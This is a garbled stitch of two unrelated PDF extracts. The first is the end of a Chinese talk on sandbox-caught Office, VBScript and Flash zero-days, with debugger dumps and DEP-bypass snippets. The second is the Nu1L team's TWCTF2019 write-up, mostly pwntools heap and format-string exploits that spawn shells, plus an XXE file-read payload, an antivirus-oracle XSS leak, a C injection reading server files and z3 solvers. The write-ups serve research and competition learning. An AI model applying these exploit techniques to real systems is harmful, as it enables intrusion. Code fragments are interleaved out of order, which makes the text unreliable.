0 (sizeLow=0, sizeHigh=0) # logged by olefile.py 正常公式流: DirEntry SID=4: 'Equation Native' - type: 2 - sect: 4 - SID left: 4294967295, right: 4294967295, child: 4294967295 - size: 197 (sizeLow=197, sizeHigh=0) # logged by olefile.py CVE-2018-0802 • 哪里错了? • 提取解混淆后的 OLE 对象 0:010> bp ole32!OleConvertOLESTREAMToIStorage 0:010> g Breakpoint 0 hit eax=000004e0 ebx=059bc3c0 ecx=00008000 edx=00000000 esi=02d80960 edi=001dade8 eip=75c528fa esp=001dab2c ebp=001dadb0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 ole32!OleConvertOLESTREAMToIStorage: 75c528fa 8bff mov edi,edi 0:000> .writemem C:\de-obfuscated_ole.bin poi(poi(poi(esp + 0x04) + 0x08)) Lpoi(poi(esp + 0x04) + 0x0C) Writing dc5 bytes.. 0:000> db poi(poi(poi(esp + 0x04) + 0x08)) 04946510 01 05 00 00 02 00 00 00-0b 00 00 00 45 71 75 61 ............Equa 04946520 74 69 6f 6e 2e 33 00 00-00 00 00 00 00 00 00 00 tion.3.......... 04946530 0e 00 00 d0 cf 11 e0 a1-b1 1a e1 00 00 00 00 00 ................ 04946540 00 00 00 00 00 00 00 00-00 00 00 3e 00 03 00 fe ...........>.... 04946550 ff 09 00 06 00 00 00 00-00 00 00 00 00 00 00 01 ................ 04946560 00 00 00 01 00 00 00 00-00 00 00 00 10 00 00 02 ................ 04946570 00 00 00 01 00 00 00 fe-ff ff ff 00 00 00 00 00 ................ 04946580 00 00 00 ff ff ff ff ff-ff ff ff ff ff ff ff ff ................ CVE-2018-0802 • 哪里错了? • MiniFat Sector 错位 0x15 字节 CVE-2018-0802 • 如何“修复”? • 对原始 RTF 文档稍作修改 😀 {\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000{{\object}} 02000000 0b000000 4571756174696f6e2e3300 00000000 00000000 000e0000 ; Data Size d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff090006000000000000 ... 000000000000000000000000000000000000000000feffffff02000000 ; 在 MiniFat Sector 前面填充 42 个 0 ... {\oldff}0a00ffffffff0100000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a0100000a0006000 0004800{\ole}8a01ffffffff7cef1800040000002d01010004000000f00100000300000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ; 补足长度 以满足 Data Size ... 0105000000000000 ; 补充 Presentation 数据 CVE-2018-0802 • 2018年元旦后,更多 CVE-2018-0802 样本出现 • 其他研究员注意到了这些样本,但不知道它们利用了 0day ☹ 如何区分两个漏洞 IPersistStorage::Load(406881) offset:406a93 call ReadMTEFData(42f8ff) offset:42f921 call 43755c offset:4375d5 call 43a720 offset:43a72a call 43a87a offset:43a89b call 43b418 ; Font tag parse Logic offset:43b44b call ReadFontName(4164fa) offset:43b461 call 4214c6 offset:4214dd call LogfontStruct_Overflow(421774) offset:4217c3 call 421e39 offset:421e5e rep movsd <- CVE-2018-0802 offset:4218cb call 451d50 offset:4218df call 4115a7 offset:4115d3 call final_overflow(4115d3) offset:411658 rep movsd <- CVE-2017-11882 offset:411874 retn Eqnedt32.exe 2000.11.9.0 如何区分多个漏洞 • 准确区分三个公式编辑器漏洞 CVE-2018-8174 • 两个更早的 Office 样本 • Moniker 远程加载 CVE-2014-6332 • 2018年1月17日 • Document MD5: A9D3F7A1ACD624DE705CF27EC699B6B6 • Moniker: hxxp://s.dropcanvas[.]com/1000000/940000/939574/akw.html • akw.html MD5: C40A128AE7AEFFA3C1720A516A99BBDF • 2018年2月23日 • Document MD5: 2E658D4A286F3A4176A60B2450E9E729 • Moniker: hxxp://s.dropcanvas[.]com/1000000/942000/941030/IE.html • IE.html MD5: C36D544588BAF97838588E732B3D47E9 CVE-2018-8174 • 2018年4月18日 • RTF 文档加载执行 VBScript 0day CVE-2018-8174 • 2018年5月8日,微软对我们进行了致谢 CVE-2018-8174 • UAF -> 超长数组 -> 任意地址读写 // before mem = Value 0:005> dd 022cb91c l4 022cb91c 00000008 00000000 04730834 00000000 0:005> dd 04730834 l6 04730834 08800001 00000001 00000000 00000000 04730844 7fffffff 00000000 // after mem = Value 0:007> dd 022cb91c l4 022cb91c 0000200c 00000000 04730834 00000000 0:007> dd 04730834 l6 04730834 08800001 00000001 00000000 00000000 04730844 7fffffff 00000000 Class class_setprop_a Dim mem Function P End Function Function SetProp(Value) mem = Value 'callback SetProp = 0 End Function End Class CVE-2018-5002 • 2018年6月1日 • 一套复杂的 Flash 控制框架 • AVM2 解释器漏洞 CVE-2018-5002 • 2018年6月7日,Adobe 对我们进行了致谢 CVE-2018-5002 • 绕过 ROP 检测 😀 • 覆盖返回地址绕过 CFG 😀 • 无法绕过 EAF 检测 ☹ var cls25:class_25 = new class_25(cls8, RtlUnwind_Addr); var NtProtectVirtualMemory_Addr:uint = cls25.GetFuncAddrByEAT("NtProtectVirtualMemory"); if(0 == NtProtectVirtualMemory_Addr) { return new Array(); } var NtPrivilegedServiceAuditAlarm_Addr:uint = cls25.GetFuncAddrByEAT("NtPrivilegedServiceAuditAlarm"); if(0 == NtPrivilegedServiceAuditAlarm_Addr) { return new Array(); } 如何调试 CVE-2018-5002 • 逆向 -> ASC2.0 编译 -> 借助 FFDEC 修改字节码 -> 获得可调试的 swf 文件 • 开源的 WinDBG 插件 • https://github.com/michaelpdu/flashext_pykd • 添加3行代码,让插件变得更完美 😀 def callback_after_call_getmethodname(self): # dprintln("Enter into callback_after_call_getmethodname") reg_eax = reg("eax") # dprintln("EAX = " + hex(reg_eax)) addr_name = ptrPtr(reg_eax + 0x08) len_name = ptrPtr(reg_eax + 0x10) if 0 == addr_name and 0 != len_name: if ptrPtr(reg_eax + 0x0C) != 0: addr_name = ptrPtr(ptrPtr(reg_eax + 0x0C) + 0x08) 调试器中的 CVE-2018-5002 // 触发漏洞前 0:007> dd 02c0ab24-10 02c0ab14 093101f0 093101a0 093101f0 093101a0 02c0ab24 093101f0 093101a0 093101f0 093101a0 02c0ab34 093101f0 093101a0 093101f0 093101a0 02c0ab44 093101f0 093101a0 093101f0 093101a0 02c0ab54 093101f0 093101a0 093101f0 093101a0 02c0ab64 093101f0 093101a0 093101f0 093101a0 02c0ab74 093101f0 093101a0 093101f0 093101a0 02c0ab84 093101f0 093101a0 093101f0 093101a0 // 触发漏洞后 0:007> dd 02c0ab24-10 02c0ab14 093101f0 093101a0 093101f0 093101f0 02c0ab24 093101a0 093101a0 093101f0 093101a0 02c0ab34 093101f0 093101a0 093101f0 093101a0 02c0ab44 093101f0 093101a0 093101f0 093101a0 02c0ab54 093101f0 093101a0 093101f0 093101a0 02c0ab64 093101f0 093101a0 093101f0 093101a0 02c0ab74 093101f0 093101a0 093101f0 093101a0 02c0ab84 093101f0 093101a0 093101f0 093101a0 • 触发漏洞 -> 交换指针 -> 类型混淆 CVE-2018-15982 • 2018年11月29日 • 2个小时,2个样本 • TVSDK 中的 UAF 漏洞 CVE-2018-15982 • 2018年12月5日,Adobe 再次对我们进行了致谢 CVE-2018-15982 • 用 HackingTeam 的技巧绕过了 ROP 检测 😀 • 无法躲避 EAF 检测 ☹ // Virt(ualPro)tect = 74726956 74636574 var vp_addr:uint = this.getFuncAddrByEAT32(0x74726956, 0x74636574, 10, kernel32_addr); ... this.writeDWORD32(sc_addr + 8 + 0x80 + 0x1c, vp_addr); this.writeDWORD32(ptbl, sc_addr + 8 + 0x80); this.writeDWORD32(p + 0x1c, sc_addr); this.writeDWORD32(p + 0x20, vec_uint.length * 4); var args:Array = new Array(0x41); Payload.call.apply(null, args); // Call VirtualProtect to bypass DEP 其他收获 • 1 Word CVE 😀 • 1 PowerPoint CVE 😀 • 4 Excel CVE 😀 • 1 Win32k CVE 😀 总结 • 从1到N易,从0到1难 • 了解对手,反思自己,战胜对手 • 永远在路上 致谢 • 感谢 360 高级威胁团队的所有小伙伴 • 感谢 @programmeboy, @guhe120, @binjo, @Unit42_Intel • 特别感谢 @HaifeiLi 和他关于 Office 安全的分享 大海捞针:使用沙箱捕获多个零日漏洞 李琦 [email protected] @leeqwind 金权 [email protected] @jq0904
pdf
Nu1L TWCTF2019 Writeup Nu1L Teamhttps://nu1l-ctf.com Nu1L TWCTF2019 Writeup Pwn warmup printf Asterisk-Alloc mi SecureKarte Web j2x2j PHP Note Oneline Calc Reverse Easy Crack Me Meow Holy Grail War M Poly Cipher EBC Crypto Real Baby RSA Simple logic Pwn warmup from pwn import * context(arch='amd64') p = process('./warm') p = remote('nothing.chal.ctf.westerns.tokyo', 10001) p.recvuntil('me :)\n') p.sendline('%47$llx'.ljust(0x108,'a')+p64(0x400709)+p64(0x4006ba)) addr = int(p.recv(12),16) print hex(addr) ree = addr -(0x7ffc2b7b4460-0x0007FFC2B7B4288)+8 p.recvuntil('me :)\n') sh = asm(shellcraft.sh()) raw_input() p.sendline(sh.ljust(0x108,'\x00')+p64(ree)) p.interactive() printf from pwn import * #p = process('./p') p = remote('printf.chal.ctf.westerns.tokyo', 10001) elf = ELF('./p') libc = elf.libc # gdb.attach(p,"b *"+hex(proc+0x1291)) p.recvuntil('name') # p.sendline('%llx '*41+"AAAA"+'%llx'*12) p.send("%lx "*0x40) p.recvuntil('0 ') addr = int(p.recv(12),16) libc.address = addr - 0x1e7580 log.info("libc.address:"+hex(libc.address)) cnt = p.recvuntil("\n",drop=True) data = cnt.split(" ") #proc = int(data[37],16)-0x10d0 #log.info("proc:"+hex(proc)) stack = int(data[38],16) log.info("stack:"+hex(stack)) log.info(hex(stack-0x6d0)) canary = int(data[39],16) log.info("canary:"+hex(canary)) system = libc.sym['system'] binsh = next(libc.search("/bin/sh\x00")) p.recvuntil('comment') init = stack-0x760 log.info("init:"+hex(init)) if init&0xff==0: exit(0) ret = ((init&0xff)+0xd8-0xf-0x7-0x7+0x8) if ret>0x100: exit(0) Asterisk-Alloc ''' init = stack-0xa0+0xe0 log.info("init:"+hex(init)) byte1 = init&0xff byte2 = (init>>8)&0xff ''' print(hex(ret)) payload = '%lx'*34 payload = payload.ljust(0xb0,'a') payload += "%s%d"+chr(ret-8)*0xa payload += "A"*0x5 payload += p64(stack-0x108) payload = payload.ljust(0xd8,'A') payload += p64(stack-0x600) payload += p64(canary) payload += 'aaaaaaaa' payload += p64(libc.address+0xe2386) print hex(stack-0x108) print hex(len(payload)) p.send(payload) p.interactive() from pwn import * libc = ELF('./libc.so.6') def malloc(size,data): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('Size: ') p.sendline(str(size)) p.recvuntil('Data: ') p.send(data) def calloc(size,data): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('Size: ') p.sendline(str(size)) p.recvuntil('Data: ') p.send(data) def realloc(size,data): p.recvuntil('choice: ') p.sendline('3') p.recvuntil('Size: ') p.sendline(str(size)) if size > 0: p.recvuntil('Data: ') p.send(data) def dele(ch): p.recvuntil('choice: ') p.sendline('4') p.recvuntil('Which: ') p.sendline(ch) #p = process('./ast') while True: try: p = process('./ast',env={'LD_PRELOAD':'./libc.so.6'}) calloc(0xa0, '/bin/sh\n') realloc(0x1f0, '\n') realloc(0xf0, '\n') for i in range(6): dele('r') realloc(0, '') a =0x47#int(raw_input("A"),16) realloc(0xa0, '\x60'+chr(a)) sleep(0.5) for i in range(8): dele('c') realloc(0x400, '\n') realloc(0x10, '\n') realloc(0, '') realloc(0xf0, '\n') malloc(0xf0,p64(0xfbad3c80)+p64(0)*3+p8(0))#leak sleep(0.2) p.recv(8) addr = u64(p.recv(8)) libc_base =addr-(0x7fbec5afb8b0-0x7fbec570e000) print hex(libc_base) realloc(0x80,'\n') dele('r') dele('r') dele('r') dele('r') dele('r') dele('r') dele('r') mi realloc(0,'') realloc(0x130,0xa0*'\x00'+p64(0)+p64(0x30)+p64(libc_base+libc.symbols['__fr ee_hook']-0x8)+p64(0)*4+p64(0x61)+'\n') realloc(0,'') realloc(0x80,p64(libc_base+libc.symbols['__free_hook'])+'\n') realloc(0,'') realloc(0x80,"/bin/sh\x00"+p64(libc_base+libc.symbols['system'])+'\n') p.recvuntil('choice') p.sendline('4') p.recvuntil('Which') p.sendline('r') p.sendline('cat flag') p.interactive() except: p.close() continue from pwn import * context.arch="amd64" def add(idx,size): p.recvuntil('>>') p.sendline('1') p.recvuntil('number') p.sendline(str(idx)) p.recvuntil('size') p.sendline(str(size)) def edit(idx,cont): p.recvuntil('>>') p.sendline('2') p.recvuntil('number') p.sendline(str(idx)) p.recvuntil('value') p.send(cont) def dele(idx): p.recvuntil('>>') p.sendline('4') p.recvuntil('number') p.sendline(str(idx)) while True: try: p=process("./mi") #p=remote("mi.chal.ctf.westerns.tokyo",10001) add(0,0x60) add(1,0x60) dele(0) dele(1) p.recvuntil('>>') p.sendline('3') p.recvuntil('number\n') p.sendline('1') addr = u64(p.recvline()[:-1].ljust(8,'\x00')) print hex(addr) base = addr-0x16c0 mmap_addr = (addr+0x100)&0xffffffffffff0000 print hex(mmap_addr) #a = 0x1022a000 a = int(raw_input("a"),16) libm_addr = mmap_addr + a libc_addr = libm_addr + 0x22a000 edit(1,p64(mmap_addr+0x70)*12) for i in range(39): add(1,0x60) add(2,0x60) d_hook = 0x228970 edit(2,p64(base+0x2628)+p64(libm_addr+d_hook)*11) add(1,0x60) add(1,0x60) one = libc_addr +0x10a38c arena = (p64(0)*3+p64(one)+p64(0)+p64(base+0x2620)+p64(0x60)).ljust(0x60,'\x00') edit(1,arena) add(1,0x60) p.recvuntil(">>") p.sendline("1") SecureKarte p.recvuntil("number") p.sendline('0') p.recvuntil('size') p.sendline(str(0x50)) p.sendline("cat flag") p.interactive() except: p.close() continue from pwn import * def add(size,data): p.recvuntil('>') p.sendline('1') p.recvuntil('size >') p.sendline(str(size)) p.recvuntil('description > ') p.send(data) p.recvuntil('Added id ') idx = p.recvuntil('\n')[:-1] return int(idx) def edit(idx,data): p.recvuntil('>') p.sendline('4') p.recvuntil('id >') p.sendline(str(idx)) p.recvuntil('description > ') p.send(data) def dele(idx): p.recvuntil('>') p.sendline('3') p.recvuntil('Input id > ') p.sendline(str(idx)) while True: try: p = remote('karte.chal.ctf.westerns.tokyo', 10001) #p = process('./karte') p.recvuntil('name') p.sendline('/bin/sh') id0 = add(0x90,'\n') dele(id0) id1 = add(0x30,'\n') id2 = add(0x30,'\n') dele(id1) id1 = add(0x30,'\n') dele(id1) id1 = add(0x30,'\n') dele(id1) id1 = add(0x30,'\n') dele(id1) id1 = add(0x30,'\n') dele(id1) id1 = add(0x30,'\n') dele(id1) id1 = add(0x30,'\n') dele(id1) id1 = add(0x30,'\n') dele(id2) dele(id1) print hex(id1) ch =1# int(raw_input("c")) if ch == 1: edit(id1,'\x3d\x21\x60') else: edit(id1,'\x3d\x21\x60\x00') id1 = add(0x30,'\n') print id1 #id1 = 0x4982 #raw_input("set 7") id2 = add(0x30,'\x00'*(0x2160- 0x214d)+p32(0)+p32(1)+p64(0x602060)+p64(0x0000deadc0bebeef)) edit(1,p32(0x4007a0)+'\x00\x00') dele(id1) idc = add(0x30,'\n') idm = add(0x30,'\n') dele(idc) dele(idm) print idm edit(idm,'\x48\x21\x60') id1 = add(0x10,'\n') id3 = add(0x10, '\x18\x20\x60') edit(id1,p32(0x400710)+'\x00\x00') Web j2x2j easy xxe PHP Note If you've ever played WCTF(https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf),it will be easy:) use Windows Defender to read secret edit(id3,'\x20\x20\x60') dele(id1) addr = u64(p.recv(6).ljust(8,'\x00')) print hex(addr) libc_base = addr - (0x7f4df30a99c0-0x7f4df3029000) edit(id3,'\x78\x20\x60') edit(id1,p64(libc_base+324672)[:-2]) p.recvuntil('>') p.sendline('/bin/sh') p.sendline('cat flag') #print id1 #print idm #dele(id1) #dele(idm) #edit(idm,'\x40\x21\x60') #dele(1) #print p.recv(6) p.interactive() except: p.close() continue <?xml version="1.0"?> <!DOCTYPE test [<!ELEMENT test ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64- encode/resource=/var/www/html/flag.php" >]> <root> <test>&xxe;</test> </root> Output is bosycret|s:32:"2532bd172578d19923e5348420e02320";n import requests import string import random url = "http://phpnote.chal.ctf.westerns.tokyo/?action={}" result = "" def randstr(n=12): chars = string.ascii_uppercase + string.ascii_lowercase + string.digits return ''.join([random.choice(chars) for _ in range(n)]) def loop(idx): l, h = 0, 0x100 while h - l > 1: m = (h + l) // 2 p = '''<script>f=function(n) {eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST- FILE!$$H+H'+{${c}:'*'} [Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0)); </script><body>''' p = string.Template(p).substitute({'idx': idx, 'c': str(m)}) sess_id = randstr() headers = { "Cookie": "PHPSESSID={}; path=/".format(sess_id) } requests.post("http://phpnote.chal.ctf.westerns.tokyo/? action=login", headers=headers, data={'realname': p}, proxies= {'http':'localhost:8082'}) requests.post("http://phpnote.chal.ctf.westerns.tokyo/? action=login", headers=headers, data={'realname': p, 'nickname': " </body>"}, proxies={'http':'localhost:8082'}) re = requests.get("http://phpnote.chal.ctf.westerns.tokyo/? action=index", headers=headers, proxies={'http':'localhost:8082'}) if re.text.find('Welcome') != -1: h = m else: l = m return chr(l) for i in range(0, 50): x = loop(i) print("[*]: " + x) result += x print(result) replace cookie['note'] ,u can getflag:) Oneline Calc Payload: Recover each byte by hand Reverse <?php class Note { public function __construct($admin) { $this->notes = array(); $this->isadmin = $admin; } public function addnote($title, $body) { array_push($this->notes, [$title, $body]); } public function getnotes() { return $this->notes; } public function getflag() { if ($this->isadmin === true) { echo FLAG; } } } $note = new Note(true); $secret = "2532bd172578d19923e5348420e02320"; var_dump(base64_encode(serialize($note))); $data = base64_encode(serialize($note)); var_dump(hash_hmac('sha256', $data, $secret)); http://olc.chal.ctf.westerns.tokyo/calc.php? formula=1;__asm__(%22jmp%20gIconEnd\ngIconData:\n.incbin%20\%22/srv/olc /public/calc.php\%22\ngIconEnd:%22);extern%20char%20gIconData[];return% 20gIconData[0] Reverse Easy Crack Me from z3 import * def force(): flag = [BitVec('x_%02d'%i,8) for i in range(32)] s = Solver() c = [128, 128, 255, 128, 255, 255, 255, 255, 128, 255, 255, 128, 128, 255, 255, 128, 255, 255, 128, 255, 128, 128, 255, 255, 255, 255, 128, 255, 255, 255, 128, 255] num_sum = 0 cnt_6 = 0 cnt_c = 0 for i,v in enumerate(flag): if c[i] == 128: s.add(v >= 97) s.add(v <= 102) if cnt_c == 6: s.add(v == 99) else: s.add(v != 99) cnt_c += 1 else: s.add(v >= 48) s.add(v <= 57) s.add(v != 51) if cnt_6 == 12: s.add(v == 54) else: s.add(v != 54) cnt_6 += 1 num_sum += v s.add(num_sum == 1048) s.add(flag[31] == 53) s.add(flag[1] == 102) s.add(flag[5] == 56) s.add(flag[6] == 55) s.add(flag[17] == 50) s.add(flag[25] == 52) s.add(flag[11] == 98) sum_8x4 = [350, 218, 303, 305, 256, 305, 251, 258] xor_8x4 = [82, 12, 1, 15, 92, 5, 83, 88] Meow An image encrypting program compiled with Neko VM Use nekoc -d meow.n to get the bytecode Stack-based VM Too many unknown functions and variables Read the bytecode of main routine Read the pixels, checking width and height = 768 Complicated pixel transform algorithm, looks like xor and permutation Heuristic test Test with a black picture and a white picture, color looks inverted Test with a gradient picture sum_4x8 = [297, 259, 299, 305, 309, 267, 255, 255] xor_4x8 = [1, 87, 7, 13, 13, 83, 81, 81] for i in range(8): sum_8x4_tmp = 0 xor_8x4_tmp = 0 sum_4x8_tmp = 0 xor_4x8_tmp = 0 for j in range(4): sum_8x4_tmp += flag[4*i+j] xor_8x4_tmp ^= flag[4*i+j] sum_4x8_tmp += flag[8*j+i] xor_4x8_tmp ^= flag[8*j+i] s.add(sum_8x4_tmp == sum_8x4[i]) s.add(xor_8x4_tmp == xor_8x4[i]) s.add(sum_4x8_tmp == sum_4x8[i]) s.add(xor_4x8_tmp == xor_4x8[i]) sum_2x16 = 0 for i in range(16): sum_2x16 += flag[i*2] s.add(sum_2x16 == 1160) if s.check() == sat: m = s.model() r = ''.join([chr(m[v].as_long()) for v in flag]) t = [v for v in r] t.sort() t = ''.join(t) if t == '00011224445567778889abbbcddeefff': print('TWCTF{'+r+'}') force() xor it with the encrypted black picture get a picture of color lines, guessing column-based permutation Recover the original picture Make a black picture (0, 0, 0) Encrypt it by the given program Make a gredient picture Xor it with the encrypted black picture from PIL import Image b = Image.new("RGB", (768, 768)) ptr = 0 for i in xrange(768): for j in xrange(768): b.putpixel((i, j), (i%256, i/256, i/256, 255)) b.save('aaa.png') from PIL import Image a = Image.open('tql.png') c = Image.open('bbb.png') buf = c.load() buff = a.load() b = Image.new("RGB", (768, 768)) Read the color sequence in a row to recover the permutation ptr = 0 for i in xrange(768): for j in xrange(768): pix = [x for x in buf[i, j]] # print pix for k in xrange(3): pix[k] ^= buff[i, j][0] b.putpixel((i, j), tuple(pix)) ptr = (ptr + 1) % 25 b.save('flag.png') from PIL import Image a = Image.open('flag.png') buf = a.load() seq = [] for i in xrange(768): for j in xrange(1): pix = [x for x in buf[i, j]] seq.append(pix[1] * 256 + pix[0]) print seq # [182, 268, 419, 63, 150, 0, 66, 148, 707, 60, 242, 651, 137, 426, 524, 326, 221, 46, 199, 205, 265, 152, 71, 289, 141, 86, 140, 293, 191, 335, 143, 69, 5, 93, 386, 158, 339, 85, 79, 459, 57, 115, 476, 290, 345, 48, 255, 104, 184, 365, 206, 105, 193, 569, 114, 130, 2, 41, 1, 97, 160, 321, 166, 487, 394, 378, 250, 75, 65, 29, 495, 218, 234, 222, 371, 211, 226, 238, 412, 153, 131, 480, 286, 172, 313, 161, 506, 146, 72, 508, 348, 21, 94, 111, 54, 154, 44, 187, 424, 526, 322, 42, 119, 179, 254, 332, 95, 717, 270, 312, 766, 246, 177, 127, 194, 304, 269, 8, 662, 236, 98, 483, 197, 560, 275, 78, 641, 91, 209, 198, 232, 273, 264, 469, 39, 635, 165, 23, 219, 112, 278, 231, 180, 204, 576, 181, 251, 553, 58, 223, 157, 50, 19, 455, 163, 20, 436, 358, 122, 538, 425, 121, 225, 77, 515, 192, 239, 125, 217, 727, 604, 32, 445, 489, 383, 607, 134, 587, 240, 113, 350, 120, 514, 92, 259, 494, 90, 73, 287, 196, 6, 162, 214, 593, 229, 186, 581, 448, 64, 49, 758, 679, 388, 56, 87, 497, 208, 51, 243, 203, 637, 30, 530, 318, 109, 409, 586, 82, 381, 156, 407, 116, 256, 99, 341, 81, 279, 647, 53, 353, 285, 228, 404, 294, 4, 725, 210, 7, 207, 174, 315, 359, 62, 375, 701, 570, 376, 620, 720, 439, 274, 16, 133, 709, 124, 328, 68, 460, 592, 202, 681, 492, 551, 28, 363, 144, 754, 443, 155, 138, 645, 401, 135, 430, 74, 190, 718, 428, 518, 333, 584, 619, 319, 342, 531, 216, 35, 474, 136, 308, 302, 393, 525, 168, 33, 644, 132, 314, 457, 316, 646, 668, 677, 622, 249, 400, 454, 397, 299, 519, 557, 338, 356, 656, 624, 280, 310, 472, 694, 384, 444, 385, 370, 347, 596, 170, 611, 565, 580, 352, 666, 364, 390, 213, 715, 129, Xor the flag_enc picture with encrypted black picture and recover the column permutation 479, 237, 632, 15, 344, 488, 108, 368, 733, 12, 325, 736, 31, 510, 164, 17, 317, 84, 411, 639, 173, 449, 167, 282, 247, 298, 410, 520, 738, 145, 271, 536, 176, 765, 467, 11, 473, 175, 434, 18, 101, 672, 669, 432, 756, 625, 142, 408, 391, 22, 169, 403, 324, 767, 43, 559, 549, 648, 337, 389, 284, 416, 461, 688, 263, 367, 433, 429, 171, 361, 599, 653, 603, 523, 83, 334, 67, 126, 351, 693, 212, 452, 517, 59, 490, 195, 667, 442, 421, 450, 288, 739, 547, 695, 753, 747, 253, 712, 566, 710, 27, 735, 621, 14, 499, 548, 742, 123, 628, 178, 697, 630, 503, 615, 283, 692, 512, 464, 252, 374, 606, 542, 613, 414, 627, 682, 636, 446, 305, 657, 541, 45, 696, 349, 379, 55, 543, 88, 600, 147, 478, 501, 70, 550, 36, 516, 235, 360, 686, 545, 380, 96, 698, 685, 323, 590, 13, 728, 605, 532, 535, 362, 760, 670, 743, 451, 612, 40, 638, 233, 555, 417, 47, 732, 544, 100, 118, 504, 37, 748, 493, 498, 537, 678, 117, 556, 309, 564, 272, 423, 76, 633, 295, 262, 552, 614, 89, 623, 594, 705, 749, 343, 482, 500, 458, 496, 574, 306, 652, 643, 561, 562, 431, 24, 704, 300, 10, 654, 329, 618, 573, 261, 276, 582, 128, 396, 151, 244, 260, 468, 139, 759, 185, 277, 680, 38, 591, 102, 721, 484, 9, 597, 331, 107, 406, 585, 649, 664, 392, 568, 266, 330, 751, 398, 690, 528, 676, 307, 427, 658, 511, 220, 437, 26, 546, 481, 671, 183, 418, 722, 241, 373, 706, 327, 567, 640, 405, 724, 757, 572, 292, 301, 673, 642, 589, 189, 674, 420, 34, 149, 631, 583, 730, 665, 447, 617, 529, 726, 110, 106, 563, 513, 626, 741, 505, 311, 683, 440, 740, 471, 723, 755, 745, 522, 744, 661, 533, 357, 702, 369, 372, 689, 558, 291, 413, 3, 456, 399, 354, 675, 80, 281, 521, 61, 366, 711, 224, 227, 737, 466, 588, 52, 509, 734, 355, 659, 571, 713, 248, 103, 507, 691, 539, 540, 382, 750, 595, 731, 267, 502, 25, 346, 422, 716, 415, 188, 320, 763, 577, 575, 201, 453, 699, 610, 703, 491, 655, 230, 660, 719, 700, 762, 486, 746, 752, 527, 475, 684, 650, 629, 377, 303, 578, 714, 441, 534, 601, 634, 159, 729, 387, 470, 215, 609, 761, 340, 462, 200, 616, 463, 708, 554, 602, 297, 435, 245, 438, 296, 598, 608, 465, 402, 764, 395, 663, 258, 336, 477, 687, 485, 579, 257] from PIL import Image a = Image.open('tql.png') c = Image.open('flag_enc.png') buf = c.load() buff = a.load() b = Image.new("RGB", (768, 768)) seq = [182, 268, 419, 63, 150, 0, 66, 148, 707, 60, 242, 651, 137, 426, 524, 326, 221, 46, 199, 205, 265, 152, 71, 289, 141, 86, 140, 293, 191, 335, 143, 69, 5, 93, 386, 158, 339, 85, 79, 459, 57, 115, 476, 290, 345, 48, 255, 104, 184, 365, 206, 105, 193, 569, 114, 130, 2, 41, 1, 97, 160, 321, 166, 487, 394, 378, 250, 75, 65, 29, 495, 218, 234, 222, 371, 211, 226, 238, 412, 153, 131, 480, 286, 172, 313, 161, 506, 146, 72, 508, 348, 21, 94, 111, 54, 154, 44, 187, 424, 526, 322, 42, 119, 179, 254, 332, 95, 717, 270, 312, 766, 246, 177, 127, 194, 304, 269, 8, 662, 236, 98, 483, 197, 560, 275, 78, 641, 91, 209, 198, 232, 273, 264, 469, 39, 635, 165, 23, 219, 112, 278, 231, 180, 204, 576, 181, 251, 553, 58, 223, 157, 50, 19, 455, 163, 20, 436, 358, 122, 538, 425, 121, 225, 77, 515, 192, 239, 125, 217, 727, 604, 32, 445, 489, 383, 607, 134, 587, 240, 113, 350, 120, 514, 92, 259, 494, 90, 73, 287, 196, 6, 162, 214, 593, 229, 186, 581, 448, 64, 49, 758, 679, 388, 56, 87, 497, 208, 51, 243, 203, 637, 30, 530, 318, 109, 409, 586, 82, 381, 156, 407, 116, 256, 99, 341, 81, 279, 647, 53, 353, 285, 228, 404, 294, 4, 725, 210, 7, 207, 174, 315, 359, 62, 375, 701, 570, 376, 620, 720, 439, 274, 16, 133, 709, 124, 328, 68, 460, 592, 202, 681, 492, 551, 28, 363, 144, 754, 443, 155, 138, 645, 401, 135, 430, 74, 190, 718, 428, 518, 333, 584, 619, 319, 342, 531, 216, 35, 474, 136, 308, 302, 393, 525, 168, 33, 644, 132, 314, 457, 316, 646, 668, 677, 622, 249, 400, 454, 397, 299, 519, 557, 338, 356, 656, 624, 280, 310, 472, 694, 384, 444, 385, 370, 347, 596, 170, 611, 565, 580, 352, 666, 364, 390, 213, 715, 129, 479, 237, 632, 15, 344, 488, 108, 368, 733, 12, 325, 736, 31, 510, 164, 17, 317, 84, 411, 639, 173, 449, 167, 282, 247, 298, 410, 520, 738, 145, 271, 536, 176, 765, 467, 11, 473, 175, 434, 18, 101, 672, 669, 432, 756, 625, 142, 408, 391, 22, 169, 403, 324, 767, 43, 559, 549, 648, 337, 389, 284, 416, 461, 688, 263, 367, 433, 429, 171, 361, 599, 653, 603, 523, 83, 334, 67, 126, 351, 693, 212, 452, 517, 59, 490, 195, 667, 442, 421, 450, 288, 739, 547, 695, 753, 747, 253, 712, 566, 710, 27, 735, 621, 14, 499, 548, 742, 123, 628, 178, 697, 630, 503, 615, 283, 692, 512, 464, 252, 374, 606, 542, 613, 414, 627, 682, 636, 446, 305, 657, 541, 45, 696, 349, 379, 55, 543, 88, 600, 147, 478, 501, 70, 550, 36, 516, 235, 360, 686, 545, 380, 96, 698, 685, 323, 590, 13, 728, 605, 532, 535, 362, 760, 670, 743, 451, 612, 40, 638, 233, 555, 417, 47, 732, 544, 100, 118, 504, 37, 748, 493, 498, 537, 678, 117, 556, 309, 564, 272, 423, 76, 633, 295, 262, 552, 614, 89, 623, 594, 705, 749, 343, 482, 500, 458, 496, 574, 306, 652, 643, 561, 562, 431, 24, 704, 300, 10, 654, 329, 618, 573, 261, 276, 582, 128, 396, 151, 244, 260, 468, 139, 759, 185, 277, 680, 38, 591, 102, 721, 484, 9, 597, 331, 107, 406, 585, 649, 664, 392, 568, 266, 330, 751, 398, 690, 528, 676, 307, 427, 658, 511, 220, 437, 26, 546, 481, 671, 183, 418, 722, 241, 373, 706, 327, 567, 640, 405, 724, 757, 572, 